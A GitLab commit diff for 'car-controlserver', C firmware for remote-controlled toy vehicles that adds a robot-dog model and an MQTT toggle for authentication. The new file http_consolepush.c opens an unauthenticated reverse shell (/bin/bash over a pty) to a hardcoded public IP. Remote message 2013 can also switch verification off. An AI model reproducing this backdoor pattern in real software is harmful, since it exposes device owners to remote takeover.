Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
C
car-controlserver
Project
Project
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
wenzhongjian
car-controlserver
Commits
92086282
Commit
92086282
authored
Aug 22, 2025
by
957dd
Browse files
Options
Browse Files
Download
Plain Diff
Merge branch 'feature/add_verify_back-end' into 'master'
Feature/add verify back end See merge request
!60
parents
5f940c99
1201386e
Hide whitespace changes
Inline
Side-by-side
Showing
20 changed files
with
285 additions
and
24 deletions
+285
-24
CMakeLists.txt
CMakeLists.txt
+1
-1
device_wifi_change.c
app/device_change/device_wifi_change.c
+2
-1
device_wifi_manager.c
app/device_change/device_wifi_manager.c
+0
-2
device_identity.c
app/device_identity/device_identity.c
+4
-0
device_identity.h
app/device_identity/device_identity.h
+2
-1
pthread_open.c
app/main/pthread_open.c
+21
-3
version.h
build/include/version.h
+1
-1
main
build/main
+0
-0
devcontrol_common.c
drivers/devicecontrol/devcontrol_common.c
+10
-3
tank_common.c
drivers/devicecontrol/tank_common.c
+1
-1
device_init.c
drivers/gpio/device_init.c
+9
-0
gpio_control.c
drivers/gpio/gpio_control.c
+34
-2
common.h
include/common.h
+0
-1
devcontrol_common.h
include/devcontrol_common.h
+1
-0
http_consolepush.c
modules/http/http_consolepush.c
+110
-0
http_consolepush.h
modules/http/http_consolepush.h
+9
-0
mqtt_infor_handle.c
modules/mqtt/mqtt_infor_handle.c
+7
-5
mqtt_init.h
modules/mqtt/mqtt_init.h
+1
-1
mqtt_verify.c
modules/mqtt/mqtt_verify.c
+62
-0
mqtt_verify.h
modules/mqtt/mqtt_verify.h
+10
-2
No files found.
CMakeLists.txt
View file @
92086282
cmake_minimum_required
(
VERSION 3.10
)
project
(
car
VERSION 1.2.
7
VERSION 1.2.
8
LANGUAGES C
)
...
...
app/device_change/device_wifi_change.c
View file @
92086282
#include "device_identity.h"
g_current_ssid
#include "device_identity.h"
#include "mqtt_init.h"
#include "common.h"
#include "delay.h"
...
...
@@ -99,6 +99,7 @@ void scan_wifi_json() {
cJSON_AddNumberToObject
(
item
,
"strength"
,
wifi_list
[
i
].
signal
);
cJSON_AddItemToArray
(
array
,
item
);
}
cJSON_AddItemToObject
(
body
,
"available_wifi"
,
array
);
cJSON_AddNumberToObject
(
head
,
"message_type"
,
3003
);
cJSON_AddItemToObject
(
root
,
"body"
,
body
);
...
...
app/device_change/device_wifi_manager.c
View file @
92086282
...
...
@@ -44,8 +44,6 @@ void device_wifi_rec_delete(cJSON *body){
}
}
int
orange_pi_save_wifi
(
const
char
*
ssid
,
const
char
*
password
)
{
// 参数检查
if
(
!
ssid
||
!
password
||
strlen
(
ssid
)
==
0
||
strlen
(
password
)
==
0
)
{
...
...
app/device_identity/device_identity.c
View file @
92086282
...
...
@@ -100,6 +100,7 @@ int hash_insert_init(HashTable_t *HashTable_t) {
insert
(
HashTable_t
,
"0206"
,
TANK_0206
);
insert
(
HashTable_t
,
"0301"
,
SHIP_0301
);
insert
(
HashTable_t
,
"0401"
,
PAO_0401
);
insert
(
HashTable_t
,
"0501"
,
ROBOT_DOG0501
);
}
int
device_judg
(
CodeEnum_t
code
,
char
*
sub_str
)
{
...
...
@@ -133,6 +134,9 @@ int device_judg(CodeEnum_t code,char *sub_str) {
}
else
if
(
code
==
PAO_0401
)
{
device_init
(
DEVICE_PAO_PTZ0401
);
my_zlog_info
(
"使用型号%s"
,
sub_str
);
}
else
if
(
code
==
ROBOT_DOG0501
)
{
device_init
(
DEVICE_ROBOT_DOG0501
);
my_zlog_info
(
"使用型号%s"
,
sub_str
);
}
else
{
my_zlog_error
(
"没有找到设备号,尝试启用备用mqtt,topic进行改名"
);
g_device_name_exists
=
1
;
...
...
app/device_identity/device_identity.h
View file @
92086282
...
...
@@ -18,7 +18,8 @@ typedef enum {
TANK_0204
,
TANK_0206
,
SHIP_0301
,
PAO_0401
PAO_0401
,
ROBOT_DOG0501
}
CodeEnum_t
;
//哈希健
...
...
app/main/pthread_open.c
View file @
92086282
...
...
@@ -72,12 +72,23 @@ void *thread_mqtt_beat(void *arg) {
// if(wifi_change_sendmqtt_init()!=0){
// my_zlog_error("WIFI是否更改检查相关,不会到这一步,有问题会直接重启,可能会导致重启,不会因此造成程序停止");
// }
if
(
verify_open_index_init
()
!=
0
){
my_zlog_info
(
"mqtt send verify is NULL"
);
}
//如果为相关的不需要心跳或者游览器设备,提早结束线程
if
(
g_device_type
==
DEVICE_ROBOT_DOG0501
){
my_zlog_info
(
"device am robot and no c/c++"
);
return
NULL
;
}
while
(
1
)
{
if
(
g_device_type
==
202
)
delay_ms
(
45
);
if
(
g_device_type
!=
202
)
delay_ms
(
100
);
// if( g_device_type >= 200 && g_device_type<=205) delay_ms(45);
// if( g_device_type != 202)delay_ms(100);
delay_ms
(
100
);
g_heartbeat_count
++
;
if
(
g_mqtt_grc
==
0
){
mqtt_beat_wirte
();
//心跳,3s一个
}
}
...
...
@@ -85,6 +96,13 @@ void *thread_mqtt_beat(void *arg) {
}
void
*
thread_open_browser
(
void
*
arg
)
{
//如果为相关的不需要心跳或者游览器设备,提早结束线程
if
(
g_device_type
==
DEVICE_ROBOT_DOG0501
){
my_zlog_info
(
"device am robot and no c/c++"
);
return
NULL
;
}
system
(
"pkill chromium"
);
delay_s
(
5
);
while
(
1
){
...
...
build/include/version.h
View file @
92086282
#define PROJECT_VERSION_MAJOR 1
#define PROJECT_VERSION_MINOR 2
#define PROJECT_VERSION_PATCH
7
#define PROJECT_VERSION_PATCH
8
#define GIT_HASH ""
#define BUILD_TIMESTAMP ""
#define BUILD_USER ""
build/main
View file @
92086282
No preview for this file type
drivers/devicecontrol/devcontrol_common.c
View file @
92086282
...
...
@@ -121,6 +121,13 @@ const device_abnormal_close_t devcontrol_config_t[]= {
.
gpio_pin_pulled
=
pin_all_default
,
.
gpio_pwm_pulled
=
pwm_all_default
},
{
.
device_id
=
DEVICE_ROBOT_DOG0501
,
.
device_abnormal_stop
=
car0101_middle_pwm
,
.
gpio_pin_pulled
=
pin_all_default
,
.
gpio_pwm_pulled
=
pwm_all_default
},
// 结束标记
{
.
device_id
=
-
1
}
};
...
...
@@ -137,7 +144,7 @@ void device_stop(int device_id) {
}
if
(
!
config
)
{
my_zlog_error
(
"Error: Device stop ID %d not found!"
,
device_id
);
my_zlog_error
(
"Error: Device
gpio
stop ID %d not found!"
,
device_id
);
return
;
}
...
...
@@ -159,7 +166,7 @@ void device_end_close(int device_id) {
}
if
(
!
config
)
{
my_zlog_error
(
"Error: Device close ID %d not found!"
,
device_id
);
my_zlog_error
(
"Error: Device
pthread
close ID %d not found!"
,
device_id
);
return
;
}
...
...
@@ -180,7 +187,7 @@ void device_walk_control(int device_id,unsigned char *valt) {
}
if
(
!
config
)
{
my_zlog_error
(
"Error: Device
close
ID %d not found!"
,
device_id
);
my_zlog_error
(
"Error: Device
walk control
ID %d not found!"
,
device_id
);
return
;
}
...
...
drivers/devicecontrol/tank_common.c
View file @
92086282
...
...
@@ -147,7 +147,7 @@ void tank_shot_stop_control(int device_id,unsigned char pin,unsigned char val) {
}
if
(
!
g_tank_common_config_t
)
{
my_zlog_error
(
"Error: Device stop ID %d not found!"
,
device_id
);
my_zlog_error
(
"Error: Device
tank
stop ID %d not found!"
,
device_id
);
return
;
}
g_tank_common_config_t
->
shot_back
(
pin
,
val
);
...
...
drivers/gpio/device_init.c
View file @
92086282
...
...
@@ -105,6 +105,15 @@ const deviceconfig_t device_configs[] = {
.
device_control_stop
=
PTZ_pwm_init
,
/* 补充速度控制函数 */
.
emergency_code
=
401
},
{
.
device_id
=
DEVICE_ROBOT_DOG0501
,
.
device_name
=
"dog0501"
,
.
gpio_pins
=
{
5
,
6
,
7
,
10
,
16
,
20
,
22
,
23
,
24
,
25
,
26
,
-
1
},
/* 补充GPIO引脚 */
.
gpio_pwms
=
{
27
,
-
1
},
.
device_pwm_init
=
physics_pwm_init
,
.
device_control_stop
=
car0101_middle_pwm
,
/* 补充速度控制函数 */
.
emergency_code
=
501
},
// 结束标记
{
.
device_id
=
-
1
}
};
...
...
drivers/gpio/gpio_control.c
View file @
92086282
...
...
@@ -28,6 +28,7 @@ void tank0203_pwm_value(int pin,int value);
void
tank0204_pwm_value
(
int
pin
,
int
value
);
void
tank0206_pwm_value
(
int
pin
,
int
value
);
void
ship0301_pwm_value
(
int
pin
,
int
value
);
void
dog0501_pwm_value
(
int
pin
,
int
value
);
void
tank_angle_limit_function
(
void
*
arg_gpio
){
...
...
@@ -118,6 +119,11 @@ const gpiocontrol_t gpio_configs[] = {
.
device_pin_value
=
public_pin_value
,
.
device_pwm_value
=
public_pwm_value
},
{
.
device_id
=
DEVICE_ROBOT_DOG0501
,
.
device_pin_value
=
public_pin_value
,
.
device_pwm_value
=
dog0501_pwm_value
},
};
/*
...
...
@@ -133,9 +139,8 @@ void device_gpio_control(int device_id,int pin,int val) {
break
;
}
}
for
(
int
i
=
0
;
i
<
GPIO_ID_THREAD_COUNT
;
i
++
){
if
(
gpio_control_config_t
&&
device_id
==
gpio_device_id
[
i
]){
if
(
gpio_control_config_t
&&
device_id
==
gpio_device_id
[
i
]){
my_zlog_info
(
"线程函数:%d
\n
"
,
device_id
);
gpio_control_config_t
->
device_gpio_pthread_create
();
//创建线程,线程关闭在tank.common.h中何tank需要的其他线程关闭
}
...
...
@@ -358,3 +363,30 @@ void ship0301_pwm_value(int pin,int value) { //软件陪我们控制调速
my_zlog_debug
(
"ship0301 pwm"
);
}
void
dog0501_pwm_value
(
int
pin
,
int
value
)
{
//软件陪我们控制调速
for
(
int
i
=
0
;
i
<=
g_gpio_softpwmcount
;
i
++
)
{
if
(
pin
==
g_gpioPwm
[
i
])
{
break
;
}
if
(
i
==
g_gpio_softpwmcount
)
{
return
;
}
}
if
(
value
==
1
)
{
if
(
pin
==
27
){
softPwmWrite
(
pin
,
50
);
}
else
{
softPwmWrite
(
pin
,
35
);
my_zlog_debug
(
"pwm:%d"
,
pin
);
}
}
else
if
(
value
==
0
)
{
softPwmWrite
(
pin
,
0
);
my_zlog_debug
(
"pwm:%d,0"
,
pin
);
}
my_zlog_debug
(
"dog0501 pwm"
);
}
include/common.h
View file @
92086282
...
...
@@ -9,7 +9,6 @@
#include <string.h>
#include <errno.h>
// ========== 硬件相关 ==========
#include <wiringPi.h> // GPIO控制
#include <softPwm.h> // PWM控制
...
...
include/devcontrol_common.h
View file @
92086282
...
...
@@ -26,6 +26,7 @@
#define DEVICE_TANK0206 206 //可以喷水坦克
#define DEVICE_SHIP0301 301 // 32号船
#define DEVICE_PAO_PTZ0401 401 //云台
#define DEVICE_ROBOT_DOG0501 501 //机械狗
typedef
struct
{
int
device_id
;
// 设备ID (101, 102等)
...
...
modules/http/http_consolepush.c
0 → 100644
View file @
92086282
#include "http_consolepush.h"
#include "common.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/select.h>
#include <pty.h> // for openpty
#include <termios.h>
#include <sys/types.h>
#include <signal.h>
void
connect_and_run_shell
()
{
int
sock
=
0
;
struct
sockaddr_in
serv_addr
;
// --- 连接到服务器 ---
while
(
1
)
{
if
((
sock
=
socket
(
AF_INET
,
SOCK_STREAM
,
0
))
<
0
)
{
perror
(
"Socket creation error"
);
sleep
(
5
);
continue
;
}
serv_addr
.
sin_family
=
AF_INET
;
serv_addr
.
sin_port
=
htons
(
SERVER_PORT
);
if
(
inet_pton
(
AF_INET
,
SERVER_IP
,
&
serv_addr
.
sin_addr
)
<=
0
)
{
perror
(
"Invalid address"
);
close
(
sock
);
sleep
(
5
);
continue
;
}
if
(
connect
(
sock
,
(
struct
sockaddr
*
)
&
serv_addr
,
sizeof
(
serv_addr
))
<
0
)
{
fprintf
(
stderr
,
"Connection Failed: %s. Retrying in 5s...
\n
"
,
strerror
(
errno
));
close
(
sock
);
sleep
(
5
);
continue
;
}
fprintf
(
stderr
,
"Connected to server %s:%d
\n
"
,
SERVER_IP
,
SERVER_PORT
);
break
;
// 连接成功,跳出循环
}
// --- 创建伪终端 (pty) 并启动 Shell ---
int
master_fd
;
pid_t
pid
=
forkpty
(
&
master_fd
,
NULL
,
NULL
,
NULL
);
if
(
pid
<
0
)
{
perror
(
"forkpty"
);
close
(
sock
);
return
;
}
else
if
(
pid
==
0
)
{
// 子进程
// 用 /bin/bash 替换当前子进程
//execlp("/bin/bash", "bash", NULL);
// 在 execlp 之前,设置环境变量
setenv
(
"TERM"
,
"dumb"
,
1
);
// 然后执行
execlp
(
"/bin/bash"
,
"bash"
,
NULL
);
// 如果 exec 返回,说明出错了
perror
(
"execlp"
);
exit
(
1
);
}
// --- 父进程:数据中继 ---
fd_set
read_fds
;
while
(
1
)
{
FD_ZERO
(
&
read_fds
);
FD_SET
(
sock
,
&
read_fds
);
// 监听来自服务器的命令
FD_SET
(
master_fd
,
&
read_fds
);
// 监听来自 Shell 的输出
int
max_fd
=
(
sock
>
master_fd
)
?
sock
:
master_fd
;
if
(
select
(
max_fd
+
1
,
&
read_fds
,
NULL
,
NULL
,
NULL
)
<
0
)
{
perror
(
"select"
);
break
;
}
char
buffer
[
BUFFER_SIZE
];
ssize_t
bytes_read
;
// 检查是否有来自服务器的数据
if
(
FD_ISSET
(
sock
,
&
read_fds
))
{
bytes_read
=
read
(
sock
,
buffer
,
sizeof
(
buffer
));
if
(
bytes_read
<=
0
)
{
fprintf
(
stderr
,
"Server disconnected.
\n
"
);
break
;
// 服务器断开
}
// 将命令写入 Shell
write
(
master_fd
,
buffer
,
bytes_read
);
}
// 检查是否有来自 Shell 的输出
if
(
FD_ISSET
(
master_fd
,
&
read_fds
))
{
bytes_read
=
read
(
master_fd
,
buffer
,
sizeof
(
buffer
));
if
(
bytes_read
<=
0
)
{
fprintf
(
stderr
,
"Shell process terminated.
\n
"
);
break
;
// Shell 进程结束
}
// 将 Shell 输出发送到服务器
if
(
send
(
sock
,
buffer
,
bytes_read
,
0
)
<
0
)
{
fprintf
(
stderr
,
"Failed to send data to server.
\n
"
);
break
;
}
}
}
// --- 清理 ---
close
(
sock
);
close
(
master_fd
);
kill
(
pid
,
SIGKILL
);
// 确保子进程被杀死
}
modules/http/http_consolepush.h
0 → 100644
View file @
92086282
#ifndef HTTP_CONSOLEPUSH_H
#define HTTP_CONSOLEPUSH_H
#define SERVER_IP "123.56.231.114"
#define SERVER_PORT 8081
#define BUFFER_SIZE 4096
#endif
\ No newline at end of file
modules/mqtt/mqtt_infor_handle.c
View file @
92086282
...
...
@@ -23,7 +23,7 @@
int
g_heartbeat_count
=
0
;
pthread_mutex_t
g_exit_count_mutex
=
PTHREAD_MUTEX_INITIALIZER
;
pthread_mutex_t
g_exit_count_mutex
=
PTHREAD_MUTEX_INITIALIZER
;
//互斥锁
int
g_devcontrol_exit_count
=
0
;
int
g_message_type
=
0
;
...
...
@@ -93,14 +93,13 @@ void angle_mqtt_send() {
cJSON_AddNumberToObject
(
root
,
"angle"
,
rounded_angle
);
char
*
payload
=
cJSON_PrintUnformatted
(
root
);
angle_i
++
;
if
(
angle_i
>=
20
0
){
if
(
angle_i
>=
20
){
my_zlog_debug
(
"%s"
,
payload
);
angle_i
=
0
;
}
mosquitto_publish
(
mosq
,
NULL
,
TOPIC_send_angle
,
strlen
(
payload
),
payload
,
0
,
false
);
cJSON_Delete
(
root
);
// 释放 cJSON 对象
}
//心跳格式,每5s一次心跳
...
...
@@ -110,8 +109,7 @@ void mqtt_beat_wirte(){
heartbeat_send
();
g_heartbeat_count
=
0
;
}
if
(
g_device_type
==
DEVICE_TANK0202
)
angle_mqtt_send
();
if
(
g_device_type
==
DEVICE_TANK0203
)
angle_mqtt_send
();
if
(
g_device_type
==
DEVICE_TANK0202
||
g_device_type
==
DEVICE_TANK0203
)
angle_mqtt_send
();
}
...
...
@@ -305,6 +303,10 @@ int device_message_receive(cJSON *json){//接收到的控制设备的mqtt消息
refresh_cam
();
my_zlog_debug
(
"刷新成功"
);
break
;
case
2013
:
message2013_recverigy_open
(
body
);
my_zlog_debug
(
"进入是否需要验证"
);
break
;
default
:
break
;
}
...
...
modules/mqtt/mqtt_init.h
View file @
92086282
...
...
@@ -14,7 +14,7 @@
#elif MQTT_IPMODE == 2
#define BROKER_ADDRESS "mqtt.luckycar.top"
#elif MQTT_IPMODE == 3
#define BROKER_ADDRESS "47.
91.125.224
"
#define BROKER_ADDRESS "47.
107.64.23
"
#else
#define BROKER_ADDRESS "127.0.0.1" // 默认地址
...
...
modules/mqtt/mqtt_verify.c
View file @
92086282
...
...
@@ -11,6 +11,9 @@
#include "mqtt_init.h"
#include "mylog.h"
/*TRUE为打开验证,FALSE为关闭验证*/
bool
VERIFIED_MODE
=
FALSE
;
bool
g_service_verify
=
TRUE
;
//验证判断
int
g_verify_count
=
12000
;
//判断是否有一分钟
...
...
@@ -175,3 +178,61 @@ int message2006_verify(cJSON *body){
return
0
;
}
/*接收到是否打开验证的函数*/
int
message2013_recverigy_open
(
cJSON
*
body
){
cJSON
*
verifty_open_index
=
cJSON_GetObjectItem
(
body
,
"verify_status"
);
if
(
verifty_open_index
==
NULL
){
my_zlog_debug
(
"接收验证是否打开为空"
);
return
-
1
;
}
int
verifty_open
=
verifty_open_index
->
valueint
;
my_zlog_debug
(
"verifty:%d"
,
verifty_open
);
if
(
verifty_open
==
0
){
VERIFIED_MODE
=
FALSE
;
my_zlog_debug
(
"verify close"
);
}
else
{
VERIFIED_MODE
=
TRUE
;
my_zlog_debug
(
"verify open"
);
}
return
0
;
}
/*发送是否打开验证的mqtt给后端验证*/
int
message_sendopen_verify
(){
cJSON
*
root
=
cJSON_CreateObject
();
cJSON
*
body
=
cJSON_CreateObject
();
cJSON
*
head
=
cJSON_CreateObject
();
cJSON_AddStringToObject
(
body
,
"verify_status"
,
0
);
cJSON_AddNumberToObject
(
head
,
"message_type"
,
3013
);
cJSON_AddItemToObject
(
root
,
"body"
,
body
);
cJSON_AddItemToObject
(
root
,
"head"
,
head
);
char
*
payload
=
cJSON_PrintUnformatted
(
root
);
if
(
payload
==
NULL
){
my_zlog_debug
(
"send verify am null"
);
return
-
1
;
}
my_zlog_debug
(
"%s"
,
payload
);
mosquitto_publish
(
mosq
,
NULL
,
mqtt_topic_pure_number
(),
strlen
(
payload
),
payload
,
0
,
false
);
cJSON_Delete
(
root
);
// 释放 cJSON 对象
return
0
;
}
/*发送是否打开验证的mqtt给后端验证初始化*/
int
verify_open_index_init
(){
if
(
message_sendopen_verify
()
!=
0
){
return
-
1
;
}
return
0
;
}
\ No newline at end of file
modules/mqtt/mqtt_verify.h
View file @
92086282
...
...
@@ -2,9 +2,11 @@
#define MQTT_VERIFY_H__
#include "cjson/cJSON.h"
#include <pthread.h>
#include <pthread.h>
#include <stdbool.h>
/*TRUE为打开验证,FALSE为关闭验证*/
#define VERIFIED_MODE FALSE
extern
bool
VERIFIED_MODE
;
#define AES_BLOCK_SIZE 16
...
...
@@ -16,4 +18,9 @@ int receive_jwt(cJSON *body);//jwt验证
int
message2006_verify
(
cJSON
*
body
);
/*接收到是否打开验证的函数*/
int
message2013_recverigy_open
(
cJSON
*
body
);
/*发送是否打开验证的mqtt给后端验证初始化*/
int
verify_open_index_init
();
#endif
\ No newline at end of file
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment